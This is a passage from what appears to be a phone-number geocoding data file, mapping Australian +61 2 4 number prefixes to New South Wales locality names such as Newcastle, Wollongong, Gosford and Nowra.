'61240526':{'en': 'Bulahdelah'},
'61240527':{'en': 'Eccleston'},
'61240528':{'en': 'Maitland'},
'61240529':{'en': 'Maitland'},
'6124053':{'en': 'Newcastle'},
'61240540':{'en': 'Mulbring'},
'61240541':{'en': 'Nelson Bay'},
'61240542':{'en': 'Newcastle'},
'61240543':{'en': 'Raymond Terrace'},
'61240544':{'en': 'Stroud'},
'61240545':{'en': 'Swansea'},
'61240546':{'en': 'Tea Gardens'},
'61240547':{'en': 'Wards River'},
'61240548':{'en': 'Wootton'},
'61240549':{'en': 'Newcastle'},
'6124055':{'en': 'Newcastle'},
'6124056':{'en': 'Newcastle'},
'6124057':{'en': 'Maitland'},
'61240580':{'en': 'Maitland'},
'61240581':{'en': 'Newcastle'},
'61240582':{'en': 'Newcastle'},
'61240583':{'en': 'Newcastle'},
'61240584':{'en': 'Newcastle'},
'61240585':{'en': 'Newcastle'},
'61240586':{'en': 'Bandon Grove'},
'61240587':{'en': 'Branxton'},
'61240588':{'en': 'Bulahdelah'},
'61240589':{'en': 'Cessnock'},
'61240590':{'en': 'Clarence Town'},
'61240591':{'en': 'Dungog'},
'61240592':{'en': 'East Gresford'},
'61240593':{'en': 'Eccleston'},
'61240594':{'en': 'Karuah'},
'61240595':{'en': 'Laguna'},
'61240596':{'en': 'Maitland'},
'61240597':{'en': 'Mulbring'},
'61240598':{'en': 'Nelson Bay'},
'61240599':{'en': 'Newcastle'},
'61240600':{'en': 'Raymond Terrace'},
'61240601':{'en': 'Stroud'},
'61240602':{'en': 'Swansea'},
'61240603':{'en': 'Tea Gardens'},
'61240604':{'en': 'Wards River'},
'61240605':{'en': 'Wootton'},
'61240606':{'en': 'Bandon Grove'},
'61240607':{'en': 'Branxton'},
'61240608':{'en': 'Bulahdelah'},
'61240609':{'en': 'Cessnock'},
'61240610':{'en': 'Clarence Town'},
'61240611':{'en': 'Tea Gardens'},
'61240612':{'en': 'Dungog'},
'61240613':{'en': 'East Gresford'},
'61240614':{'en': 'Eccleston'},
'61240615':{'en': 'Karuah'},
'61240616':{'en': 'Laguna'},
'61240617':{'en': 'Maitland'},
'61240618':{'en': 'Mulbring'},
'61240619':{'en': 'Nelson Bay'},
'61240620':{'en': 'Newcastle'},
'61240621':{'en': 'Raymond Terrace'},
'61240622':{'en': 'Stroud'},
'61240623':{'en': 'Swansea'},
'61240624':{'en': 'Tea Gardens'},
'61240625':{'en': 'Wards River'},
'61240626':{'en': 'Wootton'},
'61240627':{'en': 'Newcastle'},
'61240628':{'en': 'Newcastle'},
'61240629':{'en': 'Newcastle'},
'6124063':{'en': 'Newcastle'},
'61240636':{'en': 'Maitland'},
'61240637':{'en': 'Maitland'},
'61240638':{'en': 'Maitland'},
'61240639':{'en': 'Maitland'},
'6124064':{'en': 'Newcastle'},
'61240650':{'en': 'Nelson Bay'},
'61240651':{'en': 'Nelson Bay'},
'61240652':{'en': 'Bandon Grove'},
'61240653':{'en': 'Branxton'},
'61240654':{'en': 'Bulahdelah'},
'61240655':{'en': 'Cessnock'},
'61240656':{'en': 'Clarence Town'},
'61240657':{'en': 'Dungog'},
'61240658':{'en': 'East Gresford'},
'61240659':{'en': 'Eccleston'},
'61240660':{'en': 'Karuah'},
'61240661':{'en': 'Laguna'},
'61240662':{'en': 'Maitland'},
'61240663':{'en': 'Mulbring'},
'61240664':{'en': 'Nelson Bay'},
'61240665':{'en': 'Newcastle'},
'61240666':{'en': 'Raymond Terrace'},
'61240667':{'en': 'Stroud'},
'61240668':{'en': 'Swansea'},
'61240669':{'en': 'Tea Gardens'},
'6124067':{'en': 'Newcastle'},
'61240670':{'en': 'Wards River'},
'61240671':{'en': 'Wootton'},
'61240680':{'en': 'Maitland'},
'61240681':{'en': 'Maitland'},
'61240682':{'en': 'Clarence Town'},
'61240683':{'en': 'Clarence Town'},
'61240684':{'en': 'Clarence Town'},
'61240685':{'en': 'Cessnock'},
'61240686':{'en': 'Cessnock'},
'61240687':{'en': 'Cessnock'},
'61240688':{'en': 'Cessnock'},
'61240689':{'en': 'Cessnock'},
'61240692':{'en': 'Bandon Grove'},
'61240693':{'en': 'Branxton'},
'61240694':{'en': 'Bulahdelah'},
'61240695':{'en': 'Cessnock'},
'61240696':{'en': 'Clarence Town'},
'61240697':{'en': 'Dungog'},
'61240698':{'en': 'East Gresford'},
'61240699':{'en': 'Eccleston'},
'61240700':{'en': 'Karuah'},
'61240701':{'en': 'Laguna'},
'61240702':{'en': 'Maitland'},
'61240703':{'en': 'Mulbring'},
'61240704':{'en': 'Nelson Bay'},
'61240705':{'en': 'Newcastle'},
'61240706':{'en': 'Raymond Terrace'},
'61240707':{'en': 'Stroud'},
'61240708':{'en': 'Swansea'},
'61240709':{'en': 'Tea Gardens'},
'61240710':{'en': 'Wards River'},
'61240711':{'en': 'Wootton'},
'61240712':{'en': 'Bandon Grove'},
'61240713':{'en': 'Branxton'},
'61240714':{'en': 'Bulahdelah'},
'61240715':{'en': 'Cessnock'},
'61240716':{'en': 'Clarence Town'},
'61240717':{'en': 'Dungog'},
'61240718':{'en': 'East Gresford'},
'61240719':{'en': 'Eccleston'},
'61240720':{'en': 'Karuah'},
'61240721':{'en': 'Laguna'},
'61240722':{'en': 'Maitland'},
'61240723':{'en': 'Mulbring'},
'61240724':{'en': 'Nelson Bay'},
'61240725':{'en': 'Newcastle'},
'61240726':{'en': 'Raymond Terrace'},
'61240727':{'en': 'Stroud'},
'61240728':{'en': 'Swansea'},
'61240729':{'en': 'Tea Gardens'},
'61240730':{'en': 'Wards River'},
'61240731':{'en': 'Wootton'},
'61240732':{'en': 'Bandon Grove'},
'61240733':{'en': 'Branxton'},
'61240734':{'en': 'Bulahdelah'},
'61240735':{'en': 'Cessnock'},
'61240736':{'en': 'Clarence Town'},
'61240737':{'en': 'Dungog'},
'61240738':{'en': 'East Gresford'},
'61240739':{'en': 'Eccleston'},
'61240740':{'en': 'Karuah'},
'61240741':{'en': 'Laguna'},
'61240742':{'en': 'Maitland'},
'61240743':{'en': 'Mulbring'},
'61240744':{'en': 'Nelson Bay'},
'61240745':{'en': 'Newcastle'},
'61240746':{'en': 'Raymond Terrace'},
'61240747':{'en': 'Stroud'},
'61240748':{'en': 'Swansea'},
'61240749':{'en': 'Tea Gardens'},
'61240750':{'en': 'Wards River'},
'61240751':{'en': 'Wootton'},
'61240752':{'en': 'Newcastle'},
'61240753':{'en': 'Bandon Grove'},
'61240754':{'en': 'Branxton'},
'61240755':{'en': 'Bulahdelah'},
'61240756':{'en': 'Cessnock'},
'61240757':{'en': 'Clarence Town'},
'61240758':{'en': 'Dungog'},
'61240759':{'en': 'East Gresford'},
'61240760':{'en': 'Eccleston'},
'61240761':{'en': 'Karuah'},
'61240762':{'en': 'Laguna'},
'61240763':{'en': 'Maitland'},
'61240764':{'en': 'Mulbring'},
'61240765':{'en': 'Nelson Bay'},
'61240766':{'en': 'Newcastle'},
'61240767':{'en': 'Raymond Terrace'},
'61240768':{'en': 'Stroud'},
'61240769':{'en': 'Swansea'},
'61240770':{'en': 'Tea Gardens'},
'61240771':{'en': 'Wards River'},
'61240772':{'en': 'Wootton'},
'6124088':{'en': 'Newcastle'},
'6124089':{'en': 'Newcastle'},
'61240896':{'en': 'Raymond Terrace'},
'61240897':{'en': 'Raymond Terrace'},
'61240898':{'en': 'Raymond Terrace'},
'6124099':{'en': 'Newcastle'},
'6124200':{'en': 'Wollongong'},
'6124201':{'en': 'Wollongong'},
'61242020':{'en': 'Helensburgh'},
'61242021':{'en': 'Helensburgh'},
'61242022':{'en': 'Helensburgh'},
'61242023':{'en': 'Kiama'},
'61242024':{'en': 'Kiama'},
'61242025':{'en': 'Kiama'},
'61242026':{'en': 'Wollongong'},
'61242027':{'en': 'Helensburgh'},
'61242028':{'en': 'Kiama'},
'61242029':{'en': 'Wollongong'},
'6124203':{'en': 'Kiama'},
'61242030':{'en': 'Helensburgh'},
'61242032':{'en': 'Wollongong'},
'61242035':{'en': 'Wollongong'},
'61242036':{'en': 'Helensburgh'},
'61242040':{'en': 'Helensburgh'},
'61242041':{'en': 'Wollongong'},
'61242042':{'en': 'Wollongong'},
'61242043':{'en': 'Helensburgh'},
'61242044':{'en': 'Helensburgh'},
'61242045':{'en': 'Kiama'},
'61242046':{'en': 'Kiama'},
'61242047':{'en': 'Kiama'},
'61242048':{'en': 'Wollongong'},
'61242049':{'en': 'Wollongong'},
'6124205':{'en': 'Kiama'},
'6124206':{'en': 'Wollongong'},
'61242070':{'en': 'Wollongong'},
'61242071':{'en': 'Wollongong'},
'61242072':{'en': 'Wollongong'},
'61242073':{'en': 'Wollongong'},
'61242074':{'en': 'Kiama'},
'61242075':{'en': 'Helensburgh'},
'61242076':{'en': 'Helensburgh'},
'61242077':{'en': 'Kiama'},
'61242078':{'en': 'Helensburgh'},
'61242079':{'en': 'Wollongong'},
'61242080':{'en': 'Wollongong'},
'61242081':{'en': 'Wollongong'},
'61242082':{'en': 'Wollongong'},
'61242083':{'en': 'Wollongong'},
'61242084':{'en': 'Helensburgh'},
'61242085':{'en': 'Kiama'},
'61242086':{'en': 'Kiama'},
'61242087':{'en': 'Wollongong'},
'61242088':{'en': 'Helensburgh'},
'61242089':{'en': 'Kiama'},
'6124209':{'en': 'Wollongong'},
'61242091':{'en': 'Helensburgh'},
'61242092':{'en': 'Kiama'},
'61242097':{'en': 'Helensburgh'},
'61242098':{'en': 'Kiama'},
'61242100':{'en': 'Kiama'},
'61242101':{'en': 'Helensburgh'},
'61242102':{'en': 'Kiama'},
'61242103':{'en': 'Wollongong'},
'61242104':{'en': 'Helensburgh'},
'61242105':{'en': 'Kiama'},
'61242106':{'en': 'Wollongong'},
'61242107':{'en': 'Wollongong'},
'61242108':{'en': 'Wollongong'},
'61242109':{'en': 'Wollongong'},
'6124211':{'en': 'Wollongong'},
'61242111':{'en': 'Kiama'},
'61242112':{'en': 'Kiama'},
'61242113':{'en': 'Kiama'},
'6124212':{'en': 'Wollongong'},
'6124213':{'en': 'Wollongong'},
'6124214':{'en': 'Wollongong'},
'61242145':{'en': 'Helensburgh'},
'61242146':{'en': 'Kiama'},
'61242148':{'en': 'Helensburgh'},
'61242149':{'en': 'Kiama'},
'61242150':{'en': 'Wollongong'},
'612422':{'en': 'Wollongong'},
'6124230':{'en': 'Kiama'},
'6124231':{'en': 'Wollongong'},
'6124232':{'en': 'Kiama'},
'6124233':{'en': 'Kiama'},
'6124234':{'en': 'Kiama'},
'6124235':{'en': 'Kiama'},
'6124236':{'en': 'Kiama'},
'6124237':{'en': 'Kiama'},
'6124238':{'en': 'Wollongong'},
'61242380':{'en': 'Helensburgh'},
'61242381':{'en': 'Kiama'},
'61242389':{'en': 'Kiama'},
'6124240':{'en': 'Wollongong'},
'6124242':{'en': 'Wollongong'},
'6124243':{'en': 'Wollongong'},
'61242432':{'en': 'Helensburgh'},
'6124244':{'en': 'Wollongong'},
'6124245':{'en': 'Wollongong'},
'6124246':{'en': 'Wollongong'},
'6124247':{'en': 'Wollongong'},
'61242490':{'en': 'Wollongong'},
'61242491':{'en': 'Wollongong'},
'61242492':{'en': 'Wollongong'},
'61242493':{'en': 'Wollongong'},
'61242494':{'en': 'Wollongong'},
'612425':{'en': 'Wollongong'},
'61242550':{'en': 'Helensburgh'},
'6124256':{'en': 'Kiama'},
'6124257':{'en': 'Kiama'},
'6124260':{'en': 'Wollongong'},
'6124261':{'en': 'Wollongong'},
'6124262':{'en': 'Wollongong'},
'61242630':{'en': 'Wollongong'},
'61242631':{'en': 'Wollongong'},
'61242632':{'en': 'Helensburgh'},
'61242633':{'en': 'Kiama'},
'61242634':{'en': 'Wollongong'},
'61242635':{'en': 'Helensburgh'},
'61242636':{'en': 'Kiama'},
'61242637':{'en': 'Wollongong'},
'61242638':{'en': 'Helensburgh'},
'61242639':{'en': 'Kiama'},
'61242640':{'en': 'Kiama'},
'61242641':{'en': 'Wollongong'},
'61242651':{'en': 'Wollongong'},
'6124267':{'en': 'Wollongong'},
'6124268':{'en': 'Wollongong'},
'6124271':{'en': 'Wollongong'},
'6124272':{'en': 'Wollongong'},
'6124273':{'en': 'Wollongong'},
'6124274':{'en': 'Wollongong'},
'6124275':{'en': 'Wollongong'},
'6124276':{'en': 'Wollongong'},
'61242770':{'en': 'Kiama'},
'61242771':{'en': 'Wollongong'},
'6124283':{'en': 'Wollongong'},
'6124284':{'en': 'Wollongong'},
'6124285':{'en': 'Wollongong'},
'6124286':{'en': 'Wollongong'},
'6124287':{'en': 'Wollongong'},
'6124288':{'en': 'Wollongong'},
'6124289':{'en': 'Wollongong'},
'6124291':{'en': 'Helensburgh'},
'6124292':{'en': 'Helensburgh'},
'61242930':{'en': 'Helensburgh'},
'61242931':{'en': 'Kiama'},
'6124294':{'en': 'Helensburgh'},
'6124295':{'en': 'Wollongong'},
'6124296':{'en': 'Wollongong'},
'6124297':{'en': 'Wollongong'},
'6124298':{'en': 'Wollongong'},
'6124299':{'en': 'Helensburgh'},
'6124300':{'en': 'Gosford'},
'6124301':{'en': 'Gosford'},
'6124302':{'en': 'Gosford'},
'61243030':{'en': 'Gosford'},
'61243031':{'en': 'Gosford'},
'61243032':{'en': 'Gosford'},
'61243033':{'en': 'Mangrove Mountain'},
'61243034':{'en': 'Mangrove Mountain'},
'61243035':{'en': 'Mangrove Mountain'},
'61243036':{'en': 'Wyong'},
'61243037':{'en': 'Wyong'},
'61243038':{'en': 'Wyong'},
'61243039':{'en': 'Gosford'},
'6124304':{'en': 'Gosford'},
'6124305':{'en': 'Wyong'},
'61243060':{'en': 'Gosford'},
'61243061':{'en': 'Mangrove Mountain'},
'61243062':{'en': 'Wyong'},
'61243063':{'en': 'Gosford'},
'61243064':{'en': 'Gosford'},
'61243065':{'en': 'Mangrove Mountain'},
'61243066':{'en': 'Wyong'},
'61243067':{'en': 'Gosford'},
'61243068':{'en': 'Mangrove Mountain'},
'61243069':{'en': 'Wyong'},
'61243070':{'en': 'Mangrove Mountain'},
'61243071':{'en': 'Wyong'},
'61243072':{'en': 'Mangrove Mountain'},
'61243073':{'en': 'Mangrove Mountain'},
'61243074':{'en': 'Wyong'},
'61243075':{'en': 'Gosford'},
'61243076':{'en': 'Mangrove Mountain'},
'61243077':{'en': 'Wyong'},
'61243078':{'en': 'Gosford'},
'61243079':{'en': 'Gosford'},
'61243080':{'en': 'Mangrove Mountain'},
'61243081':{'en': 'Wyong'},
'61243082':{'en': 'Gosford'},
'61243083':{'en': 'Wyong'},
'61243084':{'en': 'Wyong'},
'61243085':{'en': 'Wyong'},
'61243086':{'en': 'Gosford'},
'61243087':{'en': 'Gosford'},
'61243088':{'en': 'Gosford'},
'61243089':{'en': 'Gosford'},
'6124309':{'en': 'Gosford'},
'6124310':{'en': 'Wyong'},
'6124311':{'en': 'Gosford'},
'61243110':{'en': 'Wyong'},
'61243111':{'en': 'Wyong'},
'61243118':{'en': 'Mangrove Mountain'},
'61243120':{'en': 'Gosford'},
'61243121':{'en': 'Wyong'},
'61243122':{'en': 'Mangrove Mountain'},
'61243123':{'en': 'Mangrove Mountain'},
'61243124':{'en': 'Wyong'},
'61243125':{'en': 'Gosford'},
'61243126':{'en': 'Gosford'},
'61243127':{'en': 'Gosford'},
'61243128':{'en': 'Gosford'},
'61243129':{'en': 'Mangrove Mountain'},
'6124313':{'en': 'Gosford'},
'61243130':{'en': 'Wyong'},
'61243137':{'en': 'Mangrove Mountain'},
'61243138':{'en': 'Wyong'},
'6124314':{'en': 'Gosford'},
'61243145':{'en': 'Wyong'},
'61243147':{'en': 'Mangrove Mountain'},
'61243148':{'en': 'Wyong'},
'61243150':{'en': 'Gosford'},
'61243151':{'en': 'Gosford'},
'61243152':{'en': 'Gosford'},
'61243153':{'en': 'Gosford'},
'61243154':{'en': 'Wyong'},
'61243155':{'en': 'Wyong'},
'61243156':{'en': 'Wyong'},
'61243157':{'en': 'Gosford'},
'61243158':{'en': 'Mangrove Mountain'},
'61243159':{'en': 'Wyong'},
'61243160':{'en': 'Gosford'},
'61243161':{'en': 'Mangrove Mountain'},
'61243162':{'en': 'Wyong'},
'61243163':{'en': 'Gosford'},
'61243164':{'en': 'Mangrove Mountain'},
'61243165':{'en': 'Wyong'},
'61243166':{'en': 'Gosford'},
'61243167':{'en': 'Mangrove Mountain'},
'61243168':{'en': 'Wyong'},
'61243169':{'en': 'Gosford'},
'61243170':{'en': 'Mangrove Mountain'},
'61243171':{'en': 'Wyong'},
'612432':{'en': 'Gosford'},
'61243262':{'en': 'Wyong'},
'61243263':{'en': 'Wyong'},
'61243264':{'en': 'Wyong'},
'6124330':{'en': 'Wyong'},
'6124331':{'en': 'Gosford'},
'6124332':{'en': 'Gosford'},
'6124333':{'en': 'Gosford'},
'6124334':{'en': 'Gosford'},
'6124335':{'en': 'Gosford'},
'61243350':{'en': 'Mangrove Mountain'},
'61243351':{'en': 'Wyong'},
'6124336':{'en': 'Gosford'},
'6124337':{'en': 'Gosford'},
'61243380':{'en': 'Wyong'},
'61243381':{'en': 'Mangrove Mountain'},
'61243382':{'en': 'Mangrove Mountain'},
'6124339':{'en': 'Gosford'},
'6124340':{'en': 'Gosford'},
'6124341':{'en': 'Gosford'},
'6124342':{'en': 'Gosford'},
'6124343':{'en': 'Gosford'},
'6124344':{'en': 'Gosford'},
'6124345':{'en': 'Gosford'},
'61243460':{'en': 'Wyong'},
'61243461':{'en': 'Gosford'},
'61243462':{'en': 'Gosford'},
'61243463':{'en': 'Wyong'},
'61243464':{'en': 'Gosford'},
'61243465':{'en': 'Gosford'},
'61243466':{'en': 'Gosford'},
'61243474':{'en': 'Gosford'},
'6124348':{'en': 'Gosford'},
'6124349':{'en': 'Gosford'},
'612435':{'en': 'Wyong'},
'612436':{'en': 'Gosford'},
'6124366':{'en': 'Wyong'},
'612437':{'en': 'Gosford'},
'6124371':{'en': 'Mangrove Mountain'},
'6124373':{'en': 'Mangrove Mountain'},
'6124374':{'en': 'Mangrove Mountain'},
'6124376':{'en': 'Mangrove Mountain'},
'61243800':{'en': 'Gosford'},
'61243808':{'en': 'Gosford'},
'61243809':{'en': 'Gosford'},
'6124381':{'en': 'Gosford'},
'6124382':{'en': 'Gosford'},
'6124384':{'en': 'Gosford'},
'6124385':{'en': 'Gosford'},
'6124388':{'en': 'Gosford'},
'6124389':{'en': 'Gosford'},
'6124390':{'en': 'Wyong'},
'61243910':{'en': 'Wyong'},
'6124392':{'en': 'Wyong'},
'6124393':{'en': 'Wyong'},
'6124394':{'en': 'Wyong'},
'6124396':{'en': 'Wyong'},
'6124397':{'en': 'Wyong'},
'6124399':{'en': 'Wyong'},
'61244000':{'en': 'Batemans Bay'},
'61244001':{'en': 'Batemans Bay'},
'61244002':{'en': 'Batemans Bay'},
'61244003':{'en': 'Bawley Point'},
'61244004':{'en': 'Bawley Point'},
'61244005':{'en': 'Bawley Point'},
'61244006':{'en': 'Berry'},
'61244007':{'en': 'Berry'},
'61244008':{'en': 'Berry'},
'61244009':{'en': 'Batemans Bay'},
'61244010':{'en': 'Huskisson'},
'61244011':{'en': 'Huskisson'},
'61244012':{'en': 'Huskisson'},
'61244013':{'en': 'Jilliga'},
'61244014':{'en': 'Jilliga'},
'61244015':{'en': 'Jilliga'},
'61244016':{'en': 'Milton-ulladulla'},
'61244017':{'en': 'Milton-ulladulla'},
'61244018':{'en': 'Milton-ulladulla'},
'61244019':{'en': 'Jilliga'},
'61244020':{'en': 'Moruya'},
'61244021':{'en': 'Moruya'},
'61244022':{'en': 'Moruya'},
'61244023':{'en': 'Narooma'},
'61244024':{'en': 'Narooma'},
'61244025':{'en': 'Narooma'},
'61244026':{'en': 'Nowra'},
'61244027':{'en': 'Nowra'},
'61244028':{'en': 'Nowra'},
'61244029':{'en': 'Nowra'},
'61244030':{'en': 'Nowra'},
'61244031':{'en': 'Batemans Bay'},
'61244032':{'en': 'Jilliga'},
'61244033':{'en': 'Moruya'},
'61244034':{'en': 'Narooma'},
'61244035':{'en': 'Bawley Point'},
'61244036':{'en': 'Berry'},
'61244037':{'en': 'Huskisson'},
'61244038':{'en': 'Milton-ulladulla'},
'61244039':{'en': 'Nowra'},
'61244040':{'en': 'Moruya'},
'61244041':{'en': 'Narooma'},
'61244042':{'en': 'Bawley Point'},
'61244043':{'en': 'Berry'},
'61244044':{'en': 'Huskisson'},
'61244045':{'en': 'Milton-ulladulla'},
'61244046':{'en': 'Nowra'},
'61244047':{'en': 'Batemans Bay'},
'61244048':{'en': 'Jilliga'},
'61244049':{'en': 'Moruya'},
'61244050':{'en': 'Narooma'},
'61244051':{'en': 'Bawley Point'},
'61244052':{'en': 'Berry'},
'61244053':{'en': 'Huskisson'},
'61244054':{'en': 'Milton-ulladulla'},
'61244055':{'en': 'Nowra'},
'61244056':{'en': 'Batemans Bay'},
'61244057':{'en': 'Jilliga'},
'61244058':{'en': 'Moruya'},
'61244059':{'en': 'Narooma'},
'61244060':{'en': 'Bawley Point'},
'61244061':{'en': 'Berry'},
'61244062':{'en': 'Huskisson'},
'61244063':{'en': 'Milton-ulladulla'},
'61244064':{'en': 'Batemans Bay'},
'61244065':{'en': 'Jilliga'},
'61244066':{'en': 'Moruya'},
'61244067':{'en': 'Narooma'},
'61244068':{'en': 'Bawley Point'},
'61244069':{'en': 'Berry'},
'61244070':{'en': 'Batemans Bay'},
'61244071':{'en': 'Jilliga'},
'61244072':{'en': 'Moruya'},
'61244073':{'en': 'Narooma'},
'61244074':{'en': 'Bawley Point'},
'61244075':{'en': 'Berry'},
'61244076':{'en': 'Huskisson'},
'61244077':{'en': 'Milton-ulladulla'},
'61244078':{'en': 'Nowra'},
'61244079':{'en': 'Huskisson'},
'61244080':{'en': 'Milton-ulladulla'},
'61244081':{'en': 'Nowra'},
'61244082':{'en': 'Batemans Bay'},
'61244083':{'en': 'Nowra'},
'61244084':{'en': 'Moruya'},
'61244085':{'en': 'Narooma'},
'61244086':{'en': 'Batemans Bay'},
'61244087':{'en': 'Berry'},
'61244088':{'en': 'Huskisson'},
'61244089':{'en': 'Milton-ulladulla'},
'61244090':{'en': 'Nowra'},
'61244091':{'en': 'Nowra'},
'61244092':{'en': 'Nowra'},
'61244093':{'en': 'Nowra'},
'61244094':{'en': 'Batemans Bay'},
'61244095':{'en': 'Milton-ulladulla'},
'61244096':{'en': 'Narooma'},
'61244097':{'en': 'Nowra'},
'61244098':{'en': 'Huskisson'},
'61244099':{'en': 'Jilliga'},
'61244100':{'en': 'Moruya'},
'61244101':{'en': 'Berry'},
'61244102':{'en': 'Jilliga'},
'61244103':{'en': 'Milton-ulladulla'},
'61244104':{'en': 'Moruya'},
'61244105':{'en': 'Narooma'},
'61244106':{'en': 'Moruya'},
'61244107':{'en': 'Batemans Bay'},
'61244108':{'en': 'Narooma'},
'61244109':{'en': 'Narooma'},
'61244110':{'en': 'Bawley Point'},
'61244111':{'en': 'Nowra'},
'61244112':{'en': 'Huskisson'},
'61244113':{'en': 'Berry'},
'61244114':{'en': 'Jilliga'},
'61244115':{'en': 'Milton-ulladulla'},
'61244116':{'en': 'Moruya'},
'61244117':{'en': 'Bawley Point'},
'61244118':{'en': 'Batemans Bay'},
'61244119':{'en': 'Berry'},
'61244120':{'en': 'Huskisson'},
'61244121':{'en': 'Narooma'},
'61244122':{'en': 'Jilliga'},
'61244123':{'en': 'Batemans Bay'},
'61244124':{'en': 'Moruya'},
'61244125':{'en': 'Huskisson'},
'61244126':{'en': 'Berry'},
'61244127':{'en': 'Milton-ulladulla'},
'61244128':{'en': 'Bawley Point'},
'61244129':{'en': 'Milton-ulladulla'},
'61244130':{'en': 'Nowra'},
'61244131':{'en': 'Nowra'},
'61244132':{'en': 'Nowra'},
'61244133':{'en': 'Batemans Bay'},
'61244134':{'en': 'Bawley Point'},
'61244135':{'en': 'Berry'},
'61244136':{'en': 'Huskisson'},
'61244137':{'en': 'Jilliga'},
'61244138':{'en': 'Milton-ulladulla'},
'61244139':{'en': 'Moruya'},
'61244140':{'en': 'Narooma'},
'61244141':{'en': 'Nowra'},
'61244142':{'en': 'Batemans Bay'},
'61244143':{'en': 'Bawley Point'},
'61244144':{'en': 'Berry'},
'61244145':{'en': 'Huskisson'},
'61244146':{'en': 'Jilliga'},
'61244147':{'en': 'Milton-ulladulla'},
'61244148':{'en': 'Moruya'},
'61244149':{'en': 'Narooma'},
'61244150':{'en': 'Nowra'},
'61244151':{'en': 'Batemans Bay'},
'61244152':{'en': 'Bawley Point'},
'61244153':{'en': 'Berry'},
'61244154':{'en': 'Huskisson'},
'61244155':{'en': 'Jilliga'},
'61244156':{'en': 'Milton-ulladulla'},
'61244157':{'en': 'Moruya'},
'61244158':{'en': 'Narooma'},
'61244159':{'en': 'Nowra'},
'61244160':{'en': 'Batemans Bay'},
'61244161':{'en': 'Bawley Point'},
'61244162':{'en': 'Berry'},
'61244163':{'en': 'Huskisson'},
'61244164':{'en': 'Jilliga'},
'61244165':{'en': 'Milton-ulladulla'},
'61244166':{'en': 'Moruya'},
'61244167':{'en': 'Narooma'},
'61244168':{'en': 'Nowra'},
'61244169':{'en': 'Batemans Bay'},
'61244170':{'en': 'Bawley Point'},
'61244171':{'en': 'Berry'},
'61244172':{'en': 'Huskisson'},
'61244173':{'en': 'Jilliga'},
'61244174':{'en': 'Milton-ulladulla'},
'61244175':{'en': 'Moruya'},
'61244176':{'en': 'Narooma'},
'61244177':{'en': 'Nowra'},
'61244178':{'en': 'Batemans Bay'},
'61244179':{'en': 'Bawley Point'},
'61244180':{'en': 'Berry'},
'61244181':{'en': 'Huskisson'},
'61244182':{'en': 'Jilliga'},
'61244183':{'en': 'Milton-ulladulla'},
'61244184':{'en': 'Moruya'},
'61244185':{'en': 'Narooma'},
'61244186':{'en': 'Nowra'},
'61244187':{'en': 'Batemans Bay'},
'61244188':{'en': 'Bawley Point'},
'61244189':{'en': 'Berry'},
'61244190':{'en': 'Huskisson'},
'61244191':{'en': 'Jilliga'},
'61244192':{'en': 'Milton-ulladulla'},
'61244193':{'en': 'Moruya'},
'61244194':{'en': 'Narooma'},
'61244195':{'en': 'Nowra'},
'61244196':{'en': 'Batemans Bay'},
'61244197':{'en': 'Bawley Point'},
'61244198':{'en': 'Berry'},
'61244199':{'en': 'Huskisson'},
'61244200':{'en': 'Jilliga'},
'61244201':{'en': 'Milton-ulladulla'},
'61244202':{'en': 'Moruya'},
'61244203':{'en': 'Narooma'},
'61244204':{'en': 'Nowra'},
'6124421':{'en': 'Nowra'},
'6124422':{'en': 'Nowra'},
'6124423':{'en': 'Nowra'},
'6124424':{'en': 'Nowra'},
'61244250':{'en': 'Batemans Bay'},
'61244251':{'en': 'Berry'},
'61244252':{'en': 'Huskisson'},
'61244253':{'en': 'Milton-ulladulla'},
'61244254':{'en': 'Moruya'},
'61244255':{'en': 'Moruya'},
'61244256':{'en': 'Narooma'},
'61244257':{'en': 'Narooma'},
'61244258':{'en': 'Milton-ulladulla'},
'61244259':{'en': 'Milton-ulladulla'},
'6124426':{'en': 'Nowra'},
'61244270':{'en': 'Jilliga'},
'61244271':{'en': 'Jilliga'},
'61244272':{'en': 'Nowra'},
'61244273':{'en': 'Nowra'},
'61244274':{'en': 'Nowra'},
'61244275':{'en': 'Bawley Point'},
'61244276':{'en': 'Bawley Point'},
'61244277':{'en': 'Bawley Point'},
'61244278':{'en': 'Jilliga'},
'6124428':{'en': 'Nowra'},
'61244280':{'en': 'Huskisson'},
'61244281':{'en': 'Huskisson'},
'61244282':{'en': 'Huskisson'},
'61244283':{'en': 'Huskisson'},
'61244290':{'en': 'Bawley Point'},
'61244291':{'en': 'Nowra'},
'61244292':{'en': 'Nowra'},
'61244293':{'en': 'Nowra'},
'61244294':{'en': 'Nowra'},
'61244295':{'en': 'Nowra'},
'61244296':{'en': 'Berry'},
'61244297':{'en': 'Huskisson'},
'61244298':{'en': 'Milton-ulladulla'},
'61244299':{'en': 'Milton-ulladulla'},
'6124441':{'en': 'Huskisson'},
'6124442':{'en': 'Huskisson'},
'6124443':{'en': 'Huskisson'},
'61244440':{'en': 'Nowra'},
'61244441':{'en': 'Nowra'},
'61244442':{'en': 'Nowra'},
'61244443':{'en': 'Nowra'},
'61244444':{'en': 'Berry'},
'61244445':{'en': 'Berry'},
'61244446':{'en': 'Huskisson'},
'61244447':{'en': 'Huskisson'},
'61244448':{'en': 'Milton-ulladulla'},
'61244449':{'en': 'Milton-ulladulla'},
'6124445':{'en': 'Nowra'},
'61244452':{'en': 'Batemans Bay'},
'61244455':{'en': 'Batemans Bay'},
'61244456':{'en': 'Batemans Bay'},
'61244459':{'en': 'Milton-ulladulla'},
'6124446':{'en': 'Nowra'},
'6124447':{'en': 'Nowra'},
'6124448':{'en': 'Nowra'},
'6124454':{'en': 'Milton-ulladulla'},
'6124455':{'en': 'Milton-ulladulla'},
'6124456':{'en': 'Milton-ulladulla'},
'6124457':{'en': 'Bawley Point'},
'61244581':{'en': 'Nowra'},
'6124464':{'en': 'Berry'},
'6124465':{'en': 'Berry'},
'6124471':{'en': 'Moruya'},
'6124472':{'en': 'Batemans Bay'},
'6124473':{'en': 'Narooma'},
'61244730':{'en': 'Batemans Bay'},
'6124474':{'en': 'Moruya'},
'61244750':{'en': 'Moruya'},
'61244751':{'en': 'Batemans Bay'},
'61244752':{'en': 'Batemans Bay'},
'61244753':{'en': 'Batemans Bay'},
'61244754':{'en': 'Moruya'},
'61244755':{'en': 'Narooma'},
'61244756':{'en': 'Moruya'},
'61244757':{'en': 'Narooma'},
'61244758':{'en': 'Jilliga'},
'61244759':{'en': 'Moruya'},
'6124476':{'en': 'Narooma'},
'6124477':{'en': 'Jilliga'},
'6124478':{'en': 'Batemans Bay'},
'61244790':{'en': 'Batemans Bay'},
'61244791':{'en': 'Jilliga'},
